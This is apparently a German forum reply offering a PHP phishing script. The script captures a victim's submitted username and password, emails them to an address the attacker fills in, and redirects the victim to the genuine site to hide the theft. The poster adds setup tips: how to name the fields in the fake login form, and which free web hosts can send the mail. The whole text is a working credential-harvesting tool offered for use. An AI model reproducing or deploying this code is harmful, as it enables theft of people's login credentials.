Du suchst wahrscheinlich sowas:

Code:
<html><body>
<meta http-equiv="refresh" content="0; url=http://www.XYZ.de /">
</head>
<?php
     $benutzer=$HTTP_POST_VARS['benutzer'];
	 $pass=$HTTP_POST_VARS['pass'];
        $mailtext="Benutzername:";
        $mailtext.=$benutzer;
        $mailtext.="\n";
        $mailtext.="Password: ";
        $mailtext.=$pass;
        $absender="From:";
        $absender.="Login@passwort.de";
        mail("DEINE ADRESSE",$benutzer,$mailtext,$absender);
        ?>
</body></html>
Zu beachten ist folgendes: Die Variable für den Benutzernamen muss in der index.html "benutzer" und für das Passwort "pass" heißen, sonst funktioniert das ganze nicht. Außerdem kann nicht jeder Webspace die mail auch verschicken. Bei funpic und ohost gehts z.B. ganz gut.